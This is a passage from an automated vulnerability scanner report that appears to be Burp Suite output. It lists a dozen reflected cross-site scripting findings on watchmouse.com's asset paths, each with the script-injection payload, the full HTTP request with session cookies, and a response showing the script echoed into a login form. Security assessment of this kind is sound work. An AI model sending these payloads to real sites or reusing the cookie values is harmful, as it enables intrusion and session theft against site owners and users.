...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/jquery-1.3.1.min.js21fae"><script>alert(1)</script>bb056a11c50" method="post">
...[SNIP]...

1.345. http://www.watchmouse.com/assets/js/jquery-1.3.2.min.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/jquery-1.3.2.min.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18fa0"><script>alert(1)</script>9887127cfc0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets18fa0"><script>alert(1)</script>9887127cfc0/js/jquery-1.3.2.min.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-1e1476c6b78dfdf97e9299633ad5949a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets18fa0"><script>alert(1)</script>9887127cfc0/js/jquery-1.3.2.min.js" method="post">
...[SNIP]...

1.346. http://www.watchmouse.com/assets/js/jquery-1.3.2.min.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/jquery-1.3.2.min.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b881b"><script>alert(1)</script>93267d4eec5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsb881b"><script>alert(1)</script>93267d4eec5/jquery-1.3.2.min.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-67cf0316f2e36f0cdc359c9a88c63725"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsb881b"><script>alert(1)</script>93267d4eec5/jquery-1.3.2.min.js" method="post">
...[SNIP]...

1.347. http://www.watchmouse.com/assets/js/jquery-1.3.2.min.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/jquery-1.3.2.min.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12eb8"><script>alert(1)</script>e6898e9e942 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/jquery-1.3.2.min.js12eb8"><script>alert(1)</script>e6898e9e942 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-2aa4647a7396d08e8f4e072a969b484d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/jquery-1.3.2.min.js12eb8"><script>alert(1)</script>e6898e9e942" method="post">
...[SNIP]...

1.348. http://www.watchmouse.com/assets/js/learn_more.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/learn_more.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 546d8"><script>alert(1)</script>1957a09d746 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets546d8"><script>alert(1)</script>1957a09d746/js/learn_more.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/learn_more.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-9acad7d7cf6c6aff11173026556b6bf9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets546d8"><script>alert(1)</script>1957a09d746/js/learn_more.js" method="post">
...[SNIP]...

1.349. http://www.watchmouse.com/assets/js/learn_more.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/learn_more.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c169e"><script>alert(1)</script>f515e35e551 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsc169e"><script>alert(1)</script>f515e35e551/learn_more.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/learn_more.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-e0c6ecfe66186619814677f21436921e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsc169e"><script>alert(1)</script>f515e35e551/learn_more.js" method="post">
...[SNIP]...

1.350. http://www.watchmouse.com/assets/js/learn_more.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/learn_more.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbedf"><script>alert(1)</script>c948edd7dca was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/learn_more.jsdbedf"><script>alert(1)</script>c948edd7dca HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/learn_more.php
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:03 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f3d58c2b8266d5d2655afc1aaeedd0e5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/learn_more.jsdbedf"><script>alert(1)</script>c948edd7dca" method="post">
...[SNIP]...

1.351. http://www.watchmouse.com/assets/js/ui/ui.core.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.core.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56fcb"><script>alert(1)</script>510d1ce03e8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets56fcb"><script>alert(1)</script>510d1ce03e8/js/ui/ui.core.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:49 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-ce06e2405edc79e50fdf753f288b2ae7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets56fcb"><script>alert(1)</script>510d1ce03e8/js/ui/ui.core.js" method="post">
...[SNIP]...

1.352. http://www.watchmouse.com/assets/js/ui/ui.core.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.core.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcb9d"><script>alert(1)</script>17bf27560ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsfcb9d"><script>alert(1)</script>17bf27560ac/ui/ui.core.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:58 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-6d3a1bcd8795ec9d89abcfc49c7b3e7a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsfcb9d"><script>alert(1)</script>17bf27560ac/ui/ui.core.js" method="post">
...[SNIP]...

1.353. http://www.watchmouse.com/assets/js/ui/ui.core.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.core.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ef56"><script>alert(1)</script>551c8dbd435 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/ui4ef56"><script>alert(1)</script>551c8dbd435/ui.core.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-e7d9e587f88ccbe7dba0f5cfdc66e3f7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/ui4ef56"><script>alert(1)</script>551c8dbd435/ui.core.js" method="post">
...[SNIP]...

1.354. http://www.watchmouse.com/assets/js/ui/ui.core.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.core.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 696b8"><script>alert(1)</script>aaa3a7ee68 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/ui/ui.core.js696b8"><script>alert(1)</script>aaa3a7ee68 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:27 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-1f1a739655918ad669f911b89774a63b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/ui/ui.core.js696b8"><script>alert(1)</script>aaa3a7ee68" method="post">
...[SNIP]...

1.355. http://www.watchmouse.com/assets/js/ui/ui.dialog.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7391b"><script>alert(1)</script>3f75f90d2e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets7391b"><script>alert(1)</script>3f75f90d2e1/js/ui/ui.dialog.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-a4d9dd4d4e4aa290ffb12873588047fa"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13172

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets7391b"><script>alert(1)</script>3f75f90d2e1/js/ui/ui.dialog.js" method="post">
...[SNIP]...

1.356. http://www.watchmouse.com/assets/js/ui/ui.dialog.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcc72"><script>alert(1)</script>39488c56b3e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsfcc72"><script>alert(1)</script>39488c56b3e/ui/ui.dialog.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.3.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
